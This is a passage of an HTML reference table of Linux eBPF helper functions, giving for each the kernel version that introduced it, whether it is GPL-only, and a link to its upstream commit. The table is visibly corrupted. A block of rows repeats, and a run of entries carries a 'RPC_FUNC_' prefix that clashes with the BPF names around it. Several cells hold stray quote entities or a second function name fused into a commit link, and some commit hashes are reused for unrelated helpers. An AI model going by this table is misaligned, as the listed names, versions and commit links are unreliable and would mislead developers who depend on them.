<tr><td><code>BPF_FUNC_dynptr_write()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/13bbbfbea7598ea9f8d9c3d73bf053bb57f9c4b2"><code>13bbbfbea759</code></a></td></tr>
<tr><td><code>BPF_FUNC_fib_lookup()</code></td><td>4.18</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/87f5fc7e48dd3175b30dd03b41564e1a8e136323"><code>87f5fc7e48dd</code></a></td></tr>
<tr><td><code>BPF_FUNC_find_vma()</code></td><td>5.17</td><td></td><td><a href="https://github.com/torvalds/linux/commit/7c7e3d31e7856a8260a254f8c71db416f7f9f5a1"><code>7c7e3d31e785</code></a></td></tr>
<tr><td><code>BPF_FUNC_for_each_map_elem()</code></td><td>5.13</td><td></td><td><a href="https://github.com/torvalds/linux/commit/69c087ba6225b574afb6e505b72cb75242a3d844"><code>69c087ba6225</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_attach_cookie()</code></td><td>5.15</td><td></td><td><a href="https://github.com/torvalds/linux/commit/7adfc6c9b315e174cf8743b21b7b691c8766791b"><code>7adfc6c9b315</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_branch_snapshot()</code></td><td>5.16</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/856c02dbce4f8d6a5644083db22c11750aa11481"><code>856c02dbce4f</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_current_ancestor_cgroup_id()</code></td><td>5.6</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b4490c5c4e023f09b7d27c9a9d3e7ad7d09ea6bf"><code>b4490c5c4e02</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_cgroup_classid()</code></td><td>4.3</td><td></td><td><a href="https://github.com/torvalds/linux/commit/8d20aabe1c76cccac544d9fcc3ad7823d9e98a2d"><code>8d20aabe1c76</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_current_cgroup_id()</code></td><td>4.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/bf6fa2c893c5237b48569a13fa3c673041430b6c"><code>bf6fa2c893c5</code></a></td></tr>
<tr><td><code>BPF_FUNC_current_task_under_cgroup()</code></td><td>4.9</td><td></td><td><a href="https://github.com/torvalds/linux/commit/60d20f9195b260bdf0ac10c275ae9f6016f9c069"><code>60d20f9195b2</code></a></td></tr>
<tr><td><code>BPF_FUNC_d_path()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6e22ab9da79343532cd3cde39df25e5a5478c692"><code>6e22ab9da793</code></a></td></tr>
<tr><td><code>BPF_FUNC_dynptr_data()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/34d4ef5775f776ec4b0d53a02d588bf3195cada6"><code>34d4ef5775f7</code></a></td></tr>
<tr><td><code>BPF_FUNC_dynptr_from_mem()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/263ae152e96253f40c2c276faad8629e096b3bad"><code>263ae152e962</code></a></td></tr>
<tr><td><code>BPF_FUNC_dynptr_read()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/13bbbfbea7598ea9f8d9c3d73bf053bb57f9c4b2"><code>13bbbfbea759</code></a></td></tr>
<tr><td><code>BPF_FUNC_dynptr_write()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/13bbbfbea7598ea9f8d9c3d73bf053bb57f9c4b2"><code>13bbbfbea759</code></a></td></tr>
<tr><td><code>BPF_FUNC_fib_lookup()</code></td><td>4.18</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/87f5fc7e48dd3175b30dd03b41564e1a8e136323"><code>87f5fc7e48dd</code></a></td></tr>
<tr><td><code>BPF_FUNC_find_vma()</code></td><td>5.17</td><td></td><td><a href="https://github.com/torvalds/linux/commit/7c7e3d31e7856a8260a254f8c71db416f7f9f5a1"><code>7c7e3d31e785</code></a></td></tr>
<tr><td><code>BPF_FUNC_for_each_map_elem()</code></td><td>5.13</td><td></td><td><a href="https://github.com/torvalds/linux/commit/69c087ba6225b574afb6e505b72cb75242a3d844"><code>69c087ba6225</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_attach_cookie()</code></td><td>5.15</td><td></td><td><a href="https://github.com/torvalds/linux/commit/7adfc6c9b315e174cf8743b21b7b691c8766791b"><code>7adfc6c9b315</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_branch_snapshot()</code></td><td>5.16</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/856c02dbce4f8d6a5644083db22c11750aa11481"><code>856c02dbce4f</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_current_ancestor_cgroup_id()</code></td><td>5.6</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b4490c5c4e023f09b7d27c9a9d3e7ad7d09ea6bf"><code>b4490c5c4e02</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_cgroup_classid()</code></td><td>4.3</td><td></td><td><a href="https://github.com/torvalds/linux/commit/8d20aabe1c76cccac544d9fcc3ad7823d9e98a2d"><code>8d20aabe1c76</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_current_cgroup_id()</code></td><td>4.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/bf6fa2c893c5237b48569a13fa3c673041430b6c"><code>bf6fa2c893c5</code></a>&quot;.&quot;<code>BPF_FUNC_get_current_comm()</code></td></tr>
<tr><td><code>BPF_FUNC_get_current_pid_tgid()</code></td><td>4.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/ffeedafbf0236f03aeb2e8db273b3e5ae5f5bc89"><code>ffeedafbf023</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_current_task()</code></td><td>4.8</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/606274c5abd8e245add01bc7145a8cbb92b69ba8"><code>606274c5abd8</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_current_task_btf()</code></td><td>5.11</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/3ca1032ab7ab010eccb107aa515598788f7d93bb"><code>3ca1032ab7ab</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_current_uid_gid()</code></td><td>4.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/ffeedafbf0236f03aeb2e8db273b3e5ae5f5bc89"><code>ffeedafbf023</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_func_arg()</code></td><td>5.17</td><td></td><td><a href="https://github.com/torvalds/linux/commit/f92c1e183604c20ce00eb889315fdaa8f2d9e509"><code>f92c1e183604</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_func_arg_cnt()</code></td><td>5.17</td><td></td><td><a href="https://github.com/torvalds/linux/commit/f92c1e183604c20ce00eb889315fdaa8f2d9e509"><code>f92c1e183604</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_func_ip()</code></td><td>5.15</td><td></td><td><a href="https://github.com/torvalds/linux/commit/5d8b583d04aedb3bd5f6d227a334c210c7d735f9"><code>5d8b583d04ae</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_func_ret()</code></td><td>5.17</td><td></td><td><a href="https://github.com/torvalds/linux/commit/f92c1e183604c20ce00eb889315fdaa8f2d9e509"><code>f92c1e183604</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_retval()</code></td><td>5.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b44123b4a3dcad4664d3a0f72c011ffd4c9c4d93"><code>b44123b4a3dc</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_hash_recalc()</code></td><td>4.8</td><td></td><td><a href="https://github.com/torvalds/linux/commit/13c5c240f789bbd2bcacb14a23771491485ae61f"><code>13c5c240f789</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_listener_sock()</code></td><td>5.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/dbafd7ddd62369b2f3926ab847cbf8fc40e800b7"><code>dbafd7ddd623</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_local_storage()</code></td><td>4.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/cd3394317653837e2eb5c5d0904a8996102af9fc"><code>cd3394317653</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_netns_cookie()</code></td><td>5.7</td><td></td><td><a href="https://github.com/torvalds/linux/commit/f318903c0bf42448b4c884732df2bbb0ef7a2284"><code>f318903c0bf4</code></a><code>BPF_FUNC_get_ns_current_pid_tgid()</code></td></tr>
<tr><td><code>BPF_FUNC_get_numa_node_id()</code></td><td>4.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/2d0e30c30f84d08dc16f0f2af41f1b8a85f0755e"><code>2d0e30c30f84</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_prandom_u32()</code></td><td>4.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/03e69b508b6f7c51743055c9f61d1dfeadf4b635"><code>03e69b508b6f</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_route_realm()</code></td><td>4.4</td><td></td><td><a href="https://github.com/torvalds/linux/commit/c46646d0484f5d08e2bede9b45034ba5b8b489cc"><code>c46646d0484f</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_smp_processor_id()</code></td><td>4.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/c04167ce2ca0ecaeaafef006cb0d65cf01b68e42"><code>c04167ce2ca0</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_socket_cookie()</code></td><td>4.12</td><td></td><td><a href="https://github.com/torvalds/linux/commit/91b8270f2a4d1d9b268de90451cdca63a70052d6"><code>91b8270f2a4d</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_socket_uid()</code></td><td>4.12</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6acc5c2910689fc6ee181bf63085c5efff6a42bd"><code>6acc5c291068</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_stack()</code></td><td>4.18</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/de2ff05f48afcde816ff4edb217417f62f624ab5"><code>de2ff05f48af</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_stackid()</code></td><td>4.6</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/d5a3b1f691865be576c2bffa708549b8cdccda19"><code>d5a3b1f69186</code></a></td></tr>
<tr><td><code>BPF_FUNC_get_task_stack()</code></td><td>5.9</td><td></td><td><a href="https://github.com/torvalds/linux/commit/fa28dcb82a38f8e3993b0fae9106b1a80b59e4f0"><code>fa28dcb82a38</code></a></td></tr>
<tr><td><code>BPF_FUNC_getsockopt()</code></td><td>4.15</td><td></td><td><a href="https://github.com/torvalds/linux/commit/cd86d1fd21025fdd6daf23d1288da405e7ad0ec6"><code>cd86d1fd2102</code></a></td></tr>
<tr><td><code>BPF_FUNC_ima_file_hash()</code></td><td>5.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/174b16946e39ebd369097e0f773536c91a8c1a4c"><code>174b16946e39</code></a></td></tr>
<tr><td><code>BPF_FUNC_ima_inode_hash()</code></td><td>5.11</td><td></td><td><a href="https://github.com/torvalds/linux/commit/27672f0d280a3f286a410a8db2004f46ace72a17"><code>27672f0d280a</code></a></td></tr>
<tr><td><code>BPF_FUNC_inode_storage_delete()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/8ea636848aca35b9f97c5b5dee30225cf2dd0fe6"><code>8ea636848aca</code></a></td></tr>
<tr><td>RPC_FUNC_get_ns_current_pid_tgid()</td><td>5.7</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b4490c5c4e023f09b7d27c9a9d3e7ad7d09ea6bf">b4490c5c4e02</a></td></tr>
<tr><td>RPC_FUNC_get_numa_node_id()</td><td>4.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/2d0e30c30f84d08dc16f0f2af41f1b8a85f0755e">2d0e30c30f84</a></td></tr>
<tr><td>RPC_FUNC_get_prandom_u32()</td><td>4.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/03e69b508b6f7c51743055c9f61d1dfeadf4b635">03e69b508b6f</a></td></tr>
<tr><td>RPC_FUNC_get_route_realm()</td><td>4.4</td><td></td><td><a href="https://github.com/torvalds/linux/commit/c46646d0484f5d08e2bede9b45034ba5b8b489cc">c46646d0484f</a></td></tr>
<tr><td>RPC_FUNC_get_smp_processor_id()</td><td>4.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/c04167ce2ca0ecaeaafef006cb0d65cf01b68e42">c04167ce2ca0</a></td></tr>
<tr><td>RPC_FUNC_get_socket_cookie()</td><td>4.12</td><td></td><td><a href="https://github.com/torvalds/linux/commit/91b8270f2a4d1d9b268de90451cdca63a70052d6">91b8270f2a4d</a></td></tr>
<tr><td>RPC_FUNC_get_socket_uid()</td><td>4.12</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6acc5c2910689fc6ee181bf63085c5efff6a42bd">6acc5c291068</a></td></tr>
<tr><td>RPC_FUNC_get_stack()</td><td>4.18</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/de2ff05f48afcde816ff4edb217417f62f624ab5">de2ff05f48af</a></td></tr>
<tr><td>RPC_FUNC_get_stackid()</td><td>4.6</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/d5a3b1f691865be576c2bffa708549b8cdccda19">d5a3b1f69186</a></td></tr>
<tr><td>RPC_FUNC_get_task_stack()</td><td>5.9</td><td></td><td><a href="https://github.com/torvalds/linux/commit/fa28dcb82a38f8e3993b0fae9106b1a80b59e4f0">fa28dcb82a38</a></td></tr>
<tr><td>RPC_FUNC_getsockopt()</td><td>4.15</td><td></td><td><a href="https://github.com/torvalds/linux/commit/cd86d1fd21025fdd6daf23d1288da405e7ad0ec6">cd86d1fd2102</a></td></tr>
<tr><td>RPC_FUNC_ima_file_hash()</td><td>5.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/174b16946e39ebd369097e0f773536c91a8c1a4c">174b16946e39</a></td></tr>
<tr><td>RPC_FUNC_ima_inode_hash()</td><td>5.11</td><td></td><td><a href="https://github.com/torvalds/linux/commit/27672f0d280a3f286a410a8db2004f46ace72a17">27672f0d280a</a></td></tr>
<tr><td>RPC_FUNC_inode_storage_delete()</td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/8ea636848aca35b9f97c5b5dee30225cf2dd0fe6">8ea636848aca</a>&quot;.&quot;<code>BPF_FUNC_inode_storage_get()</code></td></tr>
<tr><td><code>BPF_FUNC_jiffies64()</code></td><td>5.5</td><td></td><td><a href="https://github.com/torvalds/linux/commit/5576b991e9c1a11d2cc21c4b94fc75ec27603896"><code>5576b991e9c1</code></a></td></tr>
<tr><td><code>BPF_FUNC_kallsyms_lookup_name()</code></td><td>5.16</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d6aef08a872b9e23eecc92d0e92393473b13c497"><code>d6aef08a872b</code></a></td></tr>
<tr><td><code>BPF_FUNC_kptr_xchg()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/c0a5a21c25f37c9fd7b36072f9968cdff1e4aa13"><code>c0a5a21c25f3</code></a></td></tr>
<tr><td><code>BPF_FUNC_ktime_get_boot_ns()</code></td><td>5.8</td><td></td><td><a href="https://github.com/torvalds/linux/commit/71d19214776e61b33da48f7c1b46e522c7f78221"><code>71d19214776e</code></a></td></tr>
<tr><td><code>BPF_FUNC_ktime_get_coarse_ns()</code></td><td>5.11</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d055126180564a57fe533728a4e93d0cb53d49b3"><code>d05512618056</code></a></td></tr>
<tr><td><code>BPF_FUNC_ktime_get_ns()</code></td><td>4.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d9847d310ab4003725e6ed1822682e24bd406908"><code>d9847d310ab4</code></a></td></tr>
<tr><td><code>BPF_FUNC_ktime_get_tai_ns()</code></td><td>6.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/c8996c98f703b09afe77a1d247dae691c9849dc1"><code>c8996c98f703</code></a></td></tr>
<tr><td><code>BPF_FUNC_l3_csum_replace()</code></td><td>4.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/91bc4822c3d61b9bb7ef66d3b77948a4f9177954"><code>91bc4822c3d6</code></a></td></tr>
<tr><td><code>BPF_FUNC_l4_csum_replace()</code></td><td>4.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/91bc4822c3d61b9bb7ef66d3b77948a4f9177954"><code>91bc4822c3d6</code></a></td></tr>
<tr><td><code>BPF_FUNC_load_hdr_opt()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/0813a841566f0962a5551be7749b43c45f0022a0"><code>0813a841566f</code></a></td></tr>
<tr><td><code>BPF_FUNC_loop()</code></td><td>5.17</td><td></td><td><a href="https://github.com/torvalds/linux/commit/e6f2dd0f80674e9d5960337b3e9c2a242441b326"><code>e6f2dd0f8067</code></a></td></tr>
<tr><td><code>BPF_FUNC_lwt_push_encap()</code></td><td>4.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee79"><code>fe94cc290f53</code></a></td></tr>
<tr><td><code>BPF_FUNC_lwt_seg6_action()</code></td><td>4.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee79"><code>fe94cc290f53</code></a>`BPF_FUNC_lwt_seg6_adjust_srh()`</td></tr>
<tr><td>`BPF_FUNC_lwt_seg6_store_bytes()`</td><td>4.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee79"><code>fe94cc290f53</code></a></td></tr>
<tr><td>`BPF_FUNC_map_delete_elem()`</td><td>3.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d0003ec01c667b731c139e23de3306a8b328ccf5"><code>d0003ec01c66</code></a></td></tr>
<tr><td>`BPF_FUNC_map_lookup_elem()`</td><td>3.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d0003ec01c667b731c139e23de3306a8b328ccf5"><code>d0003ec01c66</code></a></td></tr>
<tr><td>`BPF_FUNC_map_lookup_percpu_elem()`</td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/07343110b293456d30393e89b86c4dee1ac051c8"><code>07343110b293</code></a></td></tr>
<tr><td>`BPF_FUNC_map_peek_elem()`</td><td>4.20</td><td></td><td><a href="https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92"><code>f1a2e44a3aec</code></a></td></tr>
<tr><td>`BPF_FUNC_map_pop_elem()`</td><td>4.20</td><td></td><td><a href="https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92"><code>f1a2e44a3aec</code></a></td></tr>
<tr><td>`BPF_FUNC_map_push_elem()`</td><td>4.20</td><td></td><td><a href="https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92"><code>f1a2e44a3aec</code></a></td></tr>
<tr><td>`BPF_FUNC_map_update_elem()`</td><td>3.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d0003ec01c667b731c139e23de3306a8b328ccf5"><code>d0003ec01c66</code></a></td></tr>
<tr><td>`BPF_FUNC_msg_apply_bytes()`</td><td>4.17</td><td></td><td><a href="https://github.com/torvalds/linux/commit/2a100317c9ebc204a166f16294884fbf9da074ce"><code>2a100317c9eb</code></a></td></tr>
<tr><td>`BPF_FUNC_msg_cork_bytes()`</td><td>4.17</td><td></td><td><a href="https://github.com/torvalds/linux/commit/91843d540a139eb8070bcff8aa10089164436deb"><code>91843d540a13</code></a></td></tr>
<tr><td>`BPF_FUNC_msg_pop_data()`</td><td>5.0</td><td></td><td><a href="https://github.com/torvalds/linux/commit/7246d8ed4dcce23f7509949a77be15fa9f0e3d28"><code>7246d8ed4dcc</code></a></td></tr>
<tr><td>`BPF_FUNC_msg_pull_data()`</td><td>4.17</td><td></td><td><a href="https://github.com/torvalds/linux/commit/015632bb30daaaee64e1bcac07570860e0bf3092"><code>015632bb30da</code></a></td></tr>
<tr><td>`BPF_FUNC_msg_push_data()`</td><td>4.20</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6fff607e2f14bd7c63c06c464a6f93b8efbabe28"><code>6fff607e2f14</code></a>&quot;.<code>BPF_FUNC_msg_redirect_hash()</code></td></tr>
<tr><td><code>BPF_FUNC_msg_redirect_map()</code></td><td>4.17</td><td></td><td><a href="https://github.com/torvalds/linux/commit/4f738adba30a7cfc006f605707e7aee847ffefa0"><code>4f738adba30a</code></a></td></tr>
<tr><td><code>BPF_FUNC_per_cpu_ptr()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/eaa6bcb71ef6ed3dc18fc525ee7e293b06b4882b"><code>eaa6bcb71ef6</code></a></td></tr>
<tr><td><code>BPF_FUNC_perf_event_output()</code></td><td>4.4</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/a43eec304259a6c637f4014a6d4767159b6a3aa3"><code>a43eec304259</code></a></td></tr>
<tr><td><code>BPF_FUNC_perf_event_read()</code></td><td>4.3</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/35578d7984003097af2b1e34502bc943d40c1804"><code>35578d798400</code></a></td></tr>
<tr><td><code>BPF_FUNC_perf_event_read_value()</code></td><td>4.15</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/908432ca84fc229e906ba164219e9ad0fe56f755"><code>908432ca84fc</code></a></td></tr>
<tr><td><code>BPF_FUNC_perf_prog_read_value()</code></td><td>4.15</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/4bebdc7a85aa400c0222b5329861e4ad9252f1e5"><code>4bebdc7a85aa</code></a></td></tr>
<tr><td><code>BPF_FUNC_probe_read()</code></td><td>4.1</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/2541517c32be2531e0da59dfd7efc1ce844644f5"><code>2541517c32be</code></a></td></tr>
<tr><td><code>BPF_FUNC_probe_read_kernel()</code></td><td>5.5</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/6ae08ae3dea2cfa03dd3665a3c8475c2d429ef47"><code>6ae08ae3dea2</code></a></td></tr>
<tr><td><code>BPF_FUNC_probe_read_kernel_str()</code></td><td>5.5</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/6ae08ae3dea2cfa03dd3665a3c8475c2d429ef47"><code>6ae08ae3dea2</code></a></td></tr>
<tr><td><code>BPF_FUNC_probe_read_user()</code></td><td>5.5</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/6ae08ae3dea2cfa03dd3665a3c8475c2d429ef47"><code>6ae08ae3dea2</code></a></td></tr>
<tr><td><code>BPF_FUNC_probe_read_user_str()</code></td><td>5.5</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/6ae08ae3dea2cfa03dd3665a3c8475c2d429ef47"><code>6ae08ae3dea2</code></a></td></tr>
<tr><td><code>BPF_FUNC_probe_read_str()</code></td><td>4.11</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/a5e8c07059d0f0b31737408711d44794928ac218"><code>a5e8c07059d0</code></a></td></tr>
<tr><td><code>BPF_FUNC_probe_write_user()</code></td><td>4.8</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/96ae52279594470622ff0585621a13e96b700600"><code>96ae52279594</code></a>&quot;<code>BPF_FUNC_rc_keydown()</code></td></tr>
<tr><td><code>BPF_FUNC_rc_pointer_rel()</code></td><td>5.0</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/01d3240a04f4c09392e13c77b54d4423ebce2d72"><code>01d3240a04f4</code></a></td></tr>
<tr><td><code>BPF_FUNC_rc_repeat()</code></td><td>4.18</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/f4364dcfc86df7c1ca47b256eaf6b6d0cdd0d936"><code>f4364dcfc86d</code></a></td></tr>
<tr><td><code>BPF_FUNC_read_branch_records()</code></td><td>5.6</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/fff7b64355eac6e29b50229ad1512315bc04b44e"><code>fff7b64355ea</code></a></td></tr>
<tr><td><code>BPF_FUNC_redirect()</code></td><td>4.4</td><td></td><td><a href="https://github.com/torvalds/linux/commit/27b29f63058d26c6c1742f1993338280d5a41dc6"><code>27b29f63058d</code></a></td></tr>
<tr><td><code>BPF_FUNC_redirect_map()</code></td><td>4.14</td><td></td><td><a href="https://github.com/torvalds/linux/commit/97f91a7cf04ff605845c20948b8a80e54cbd3376"><code>97f91a7cf04f</code></a></td></tr>
<tr><td><code>BPF_FUNC_redirect_neigh()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b4ab31414970a7a03a5d55d75083f2c101a30592"><code>b4ab31414970</code></a></td></tr>
<tr><td><code>BPF_FUNC_redirect_peer()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/9aa1206e8f48222f35a0c809f33b2f4aaa1e2661"><code>9aa1206e8f48</code></a></td></tr>
<tr><td><code>BPF_FUNC_reserve_hdr_opt()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/0813a841566f0962a5551be7749b43c45f0022a0"><code>0813a841566f</code></a></td></tr>
<tr><td><code>BPF_FUNC_ringbuf_discard()</code></td><td>5.8</td><td></td><td><a href="https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab"><code>457f44363a88</code></a></td></tr>
<tr><td><code>BPF_FUNC_ringbuf_discard_dynptr()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458"><code>bc34dee65a65</code></a></td></tr>
<tr><td><code>BPF_FUNC_ringbuf_output()</code></td><td>5.8</td><td></td><td><a href="https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab"><code>457f44363a88</code></a></td></tr>
<tr><td><code>BPF_FUNC_ringbuf_query()</code></td><td>5.8</td><td></td><td><a href="https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab"><code>457f44363a88</code></a></td></tr>
<tr><td><code>BPF_FUNC_ringbuf_reserve()</code></td><td>5.8</td><td></td><td><a href="https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab"><code>457f44363a88</code></a></td></tr>
<tr><td><code>BPF_FUNC_ringbuf_reserve_dynptr()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458"><code>bc34dee65a65</code></a></td></tr>
<tr><td><code>BPF_FUNC_ringbuf_submit()</code></td><td>5.8</td><td></td><td><a href="https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab"><code>457f44363a88</code></a></td></tr>
<tr><td><code>BPF_FUNC_ringbuf_submit_dynptr()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458"><code>bc34dee65a65</code></a></td></tr>
<tr><td><code>BPF_FUNC_send_signal()</code></td><td>5.3</td><td></td><td><a href="https://github.com/torvalds/linux/commit/8b401f9ed2441ad9e219953927a842d24ed051fc"><code>8b401f9ed244</code></a></td></tr>
<tr><td><code>BPF_FUNC_send_signal_thread()</code></td><td>5.5</td><td></td><td><a href="https://github.com/torvalds/linux/commit/8482941f09067da42f9c3362e15bfb3f3c19d610"><code>8482941f0906</code></a></td></tr>
<tr><td><code>BPF_FUNC_seq_printf()</code></td><td>5.7</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15"><code>492e639f0c22</code></a></td></tr>
<tr><td><code>BPF_FUNC_seq_printf_btf()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/eb411377aed9e27835e77ee0710ee8f4649958f3"><code>eb411377aed9</code></a></td></tr>
<tr><td><code>BPF_FUNC_seq_write()</code></td><td>5.7</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15"><code>492e639f0c22</code></a></td></tr>
<tr><td><code>BPF_FUNC_set_hash()</code></td><td>4.13</td><td></td><td><a href="https://github.com/torvalds/linux/commit/ded092cd73c2c56a394b936f86897f29b2e131c0"><code>ded092cd73c2</code></a></td></tr>
<tr><td><code>BPF_FUNC_set_hash_invalid()</code></td><td>4.9</td><td></td><td><a href="https://github.com/torvalds/linux/commit/7a4b28c6cc9ffac50f791b99cc7e46106436e5d8"><code>7a4b28c6cc9f</code></a></td></tr>
<tr><td><code>BPF_FUNC_set_retval()</code></td><td>5.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b44123b4a3dcad4664d3a0f72c011ffd4c9c4d93"><code>b44123b4a3dc</code></a></td></tr>
<tr><td><code>BPF_FUNC_setsockopt()</code></td><td>4.13</td><td></td><td><a href="https://github.com/torvalds/linux/commit/8c4b4c7e9ff0447995750d9329949fa082520269"><code>8c4b4c7e9ff0</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_ancestor_cgroup_id()</code></td><td>5.7</td><td></td><td><a href="https://github.com/torvalds/linux/commit/f307fa2cb4c935f7f1ff0aeb880c7b44fb9a642b"><code>f307fa2cb4c9</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_assign()</code></td><td>5.6</td><td></td><td><a href="https://github.com/torvalds/linux/commit/cf7fbe660f2dbd738ab58aea8e9b0ca6ad232449"><code>cf7fbe660f2d</code></a><code>BPF_FUNC_ringbuf_reserve_dynptr()</code></td></tr>
